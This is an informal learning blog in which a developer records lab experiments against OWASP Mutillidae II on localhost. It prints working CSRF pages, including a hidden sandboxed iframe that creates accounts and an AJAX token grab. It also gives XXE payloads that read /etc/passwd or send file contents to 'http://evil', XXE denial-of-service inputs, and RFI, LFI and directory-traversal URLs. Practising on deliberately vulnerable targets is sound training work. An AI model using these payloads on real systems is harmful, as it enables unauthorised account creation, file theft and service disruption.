About this blog

I'm a developer with over 10 years experience who wants to transition to infosec. This blog is an informal record of my experiments with OWASP's Mutillidae II, a web application exhibiting a multitude of deliberate vulnerabilities. I will also take Offensive Security's PWK training course and get the OSCP certificate

Friday, 2 September 2016

Diverting onto OSCP

As of today I'm abandoning this Mutillidae II experimentation for a while to focus on doing Offensive Security's PWK course, in order to get the OSCP.

Thursday, 1 September 2016

CSRF GET, POST and token bypass

There's a page that allows an admin to create new users.  We want to get the admin's browser to make a request for us, using a CSRF.

If there is no CSRF protection, we can lure the admin to visit a page controlled by us, and submit a form, using GET.  Or POST if required.

GET

<html>
<body>
<p>Thankyou for visiting!</p>
<img height="0" width="0" src="https://localhost/mutillidae/index.php?page=register.php&username=baloobas2&password=bar&confirm_password=bar&my_signature=wizz&register-php-submit-button=Create+Account"/>
</html>

Verify it's in the DB:




POST

<html>
<body>
<p>Thankyou for visiting!</p>
<form id="naughty" method="POST" action="https://localhost/mutillidae/index.php?page=register.php">
<input type="hidden" name="username" value="haxxor999"/>
<input type="hidden" name="password" value="whatever"/>
<input type="hidden" name="confirm_password" value="whatever"/>
<input type="hidden" name="my_signature" value="whatever"/>
<input type="hidden" name="register-php-submit-button" value="Create Account"/>
</form>
<script>document.getElementById('naughty').submit();</script>
</html>

Verify it's in the DB:


CSRF protection circumvention

Note: I  realize I have confused myself as to what will and won't work - and where from - by not hosting my attacks on a different domain.  I will start again on this at some point but using a different attack domain.  Anyway, the CSRF work below is still relevant if it can be executed via stored or reflected XSS on the target site, which surely must be possible in Mutillidae. 

If the site has CSRF protection then we can first get the admin's browser to make a request to get the form (containing security tokens) before submitting it back with the data filled in. So I thought I'd do that with an iframe

First I coded up a standalone web page with security level 'hosed' to make sure everything was working (actual bad guys don't get this luxury, eh?).  It took me a while because I'm new to javascript/browser DOMs and so forth.  Learn by making mistakes!

xss_csrf.html
<html>
<body>
<p>Nothing to see here...</p>
<script>
var fired = false;
function loaded() {
if (fired) return;
fired = true;
var iframe = document.getElementById('naughty');
var doc = iframe.contentWindow.document;
var form = doc.forms[0];
doc.getElementsByName("username")[0].value = 'haxxor1000';
doc.getElementsByName("password")[0].value = 'whatever';
doc.getElementsByName("confirm_password")[0].value = 'whatever';
doc.getElementsByName("my_signature")[0].value = 'whatever';
doc.getElementsByName("register-php-submit-button")[0].click();
}
</script>
<iframe id="naughty" onload="loaded()" src="/mutillidae/index.php?page=register.php" style="visibility:hidden"></iframe>
</body>
</html>

It works on 'hosed' security, but when I turned on client-side security something funny happened - the app detected it was in an iframe and loaded itself into the main window!  Thwarted.  So my next quest was to find a way around that or a different approach entirely...

I thought about creating a new window and reaching across to that (I think it's possible), but that would require a new window, and everybody blocks popups.  No doubt popup blocking is bypassable somehow but it seemed like a potentially long road.

After googling around I discovered I could sandbox an iframe so, along with other security restrictions applied by default, the page wouldn't know it was an iframe.  I had to explicitly remove a security restrictions so that the enclosing document could access it, and then another for the iframe to be able to submit a form.  Here's how it looks:

<iframe id="naughty" onload="loaded()" src="/mutillidae/index.php?page=register.php" style="visibility:hidden" sandbox="allow-same-origin allow-forms"></iframe>

Now it works!  Here is my user in the DB.


However it doesn't work with on the highest security level.  The console spits out:

Load denied by X-Frame-Options

This met with the same error:

document.getElementById("content").innerHTML='<object type="text/html" data="/mutillidae/index.php?page=register.php"></object>';

However I managed to get the token using AJAX and regex:

$.ajax({
    url : "/mutillidae/index.php?page=register.php",
    success : function(result){
        token = /name="csrf-token" type="hidden" value="(.+)"/mg.exec(result)[1];
        alert(token);
    }
});

To be continued...

XXE experimentation

XXE = XML eXternal Entities.

The XML validator page in Mutillidae takes XML as input.

http://localhost/mutillidae/index.php?page=xml-validator.php&xml=whatever

We can make the parser include a file using a SYSTEM entity.

<?xml version="1.0"?>
 <!DOCTYPE foo [  
  <!ELEMENT bar ANY>
  <!ENTITY file SYSTEM "/etc/passwd">
]>
<bar>&file;</bar>


The SYSTEM entity can also grab remote resources using protocols such as HTTP.

Bad characters

The problem is that the content of the document is parsed as XML (and in accordance with the DOCTYPE), and this will often blow up due to undeclared entities, undeclared elements, and so on therein.  So the types of document that can be grabbed, either locally or remotely, is limited.  For example trying to load this sort of malformed content will blow up:

foo.txt: >!!<]>

This obviously isn't going to overcome it:

<bar><![CDATA[&file;]]></bar>

I really thought this would work, but it still tries to parse the file entity as XML (and fails):

<?xml version="1.0"?>
 <!DOCTYPE foo [  
  <!ELEMENT bar ANY>
  <!ENTITY begin "&lt;[CDATA[">
  <!ENTITY end "]]&gt;">
  <!ENTITY file SYSTEM "foo.txt">
]>
<bar>&begin;&file;&end;</bar>


Eventually I consulted an XXE guide, which told me I could get a CDATA section to work using parameters and a bit of indirection:

<?xml version="1.0"?>
 <!DOCTYPE foo [  
  <!ELEMENT bar ANY>
  <!ENTITY % start "<![CDATA[">
  <!ENTITY % end "]]>">
  <!ENTITY % file SYSTEM "foo.txt">
  <!ENTITY % dtd SYSTEM "http://localhost/join.dtd">
%dtd;
]>
<bar>&joined;</bar>

join.dtd: <!ENTITY joined "%start;%file;%end;">

This does work (returning text >!!<]>), but it still has limitations, such as blowing up if it encounters a % character that isn't also a valid parameter reference.  I.e. 'foo % bar' will blow up, but 'foo %bar;' won't (although '%bar;' doesn't refer to a valid param it doesn't count as an error, just a warning).

Exfiltration with HTTP call

I wondered whether I could get the data out via an HTTP call:

...
  <!ENTITY file SYSTEM "helloworld.txt">
  <!ENTITY leak SYSTEM "http://localhost/?&file;">
]>
<bar>&leak;</bar>

That doesn't work though.  After reading around the subject a bit, I tried parameter expansion.

<?xml version="1.0"?>
 <!DOCTYPE foo [  
  <!ELEMENT bar ANY>
  <!ENTITY % file "helloworld.txt">
  <!ENTITY % dtd SYSTEM "http://localhost/join2.dtd">
%dtd;
%leaker;
]>
<bar>&leak;</bar>

join2.dtd: <!ENTITY % leaker "<!ENTITY leak SYSTEM 'http://localhost/?%file;'>">

This does work, resulting in a call to ?helloworld on the server, but it's an overall failure because the file parameter is merely a string, not a SYSTEM entity.  Because if I make it a SYSTEM entity to read a file, it blows up (Invalid URI: http://localhost/?helloworld).   It read the file data and constructed the URL just fine, it  just doesn't want to call it!

I even tried copying somebody else's code pretty much verbatim, which does it only a slightly different way (managing to encode the % into the body of a param entity so that the leak can take place before any XML parsing takes place - all in the preprocessing section):

<!DOCTYPE updateProfile [
 <!ENTITY % file SYSTEM "../helloworld.txt">
 <!ENTITY % dtd SYSTEM "http://localhost/send.dtd">
%dtd;
%leaker;
%leak;
]]>

send.dtd: 
<!ENTITY % leaker "<!ENTITY &#x25; leak SYSTEM 'http://evil/?%file;'>">
%all; 

That fails with the same error message.  Hmm..  no joy.  Something to investigate more another time, I don't want to be beaten!  But moving on for now...

Denial of service

Oops:

<?xml version="1.0"?>
 <!DOCTYPE foo [  
  <!ELEMENT bar ANY>
  <!ENTITY file SYSTEM "/dev/random">
]>
<bar>&file;</bar>

Or:

<?xml version="1.0"?>
 <!DOCTYPE foo [  
  <!ELEMENT bar ANY>
  <!ENTITY % dtd SYSTEM "http://localhost/blackhole.dtd">
%dtd;
]>

blackhole.dtd: %dtd;

I also tried entity A pointing at entity B, which pointed back at entity A, for a black hole.  But that didn't work.

Other

The OWASP slides 'What You Didnt Know About XXE Attacks' have more interesting attacks in them, such as this one:

  1. Getting the server to retrieve a WAR from evilserver as part of a SYSTEM directive
  2. Holding the port open at the end of the xfer to leave the temp file in place
  3. Triggering deployment of the tempfile WAR, which contains a shell

Amazing! :-)

Wednesday, 31 August 2016

Command injection

http://localhost/mutillidae/index.php?page=dns-lookup.php


RFI and LFI with directory traversal


The 'Styling with Mutillidae' page has an iframe in it, with the iframe src being set by a parameter.

http://localhost/mutillidae/index.php?page=styling-frame.php&page-to-frame=styling.php%3Fpage-title%3DStyling+with+Mutillidae

RFI works:  http://localhost/mutillidae/index.php?page=styling-frame.php&page-to-frame=http://foo.com


I tried to find a URL on the net with a .php extension that was a text/plain mimetype (so I could see my server run the remote code), but failed.  I think that is how one would get a shell on a box using RFI though - include a remote .php with the shellcode in it.

LFI obviously works: http://localhost/mutillidae/index.php?page=styling-frame.php&page-to-frame=phpinfo.php  


Directory traversal LFI also works on the page param: http://localhost/mutillidae/index.php?page=/etc/passwd&page-to-frame=phpinfo.php


robots.txt leak



I suspect there exist security crawlers that look at robots.txt for crawling candidates (amongst other things such as brute forcing dir names), but I'm not looking into automated tooling yet.

Client controls more than just params

The client controls all the headers (including cookies) too.  So if they are displayed anywhere without being escaped, the page is vulnerable to content injection.



The DOM is also controlled by the client too, so anything in that can be manipulated with injections.